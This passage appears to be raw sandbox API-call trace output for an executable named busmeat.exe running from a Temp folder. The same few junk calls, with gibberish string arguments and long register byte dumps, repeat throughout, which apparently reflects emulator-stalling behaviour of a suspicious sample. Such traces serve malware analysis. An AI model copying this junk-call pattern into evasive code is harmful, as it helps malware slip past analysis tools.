[62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.108] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.109] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.109] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.109] GetConsoleCP () returned 0x0
	[0066.109] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.109] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.110] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.110] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.110] GetConsoleCP () returned 0x0
	[0066.110] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.110] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
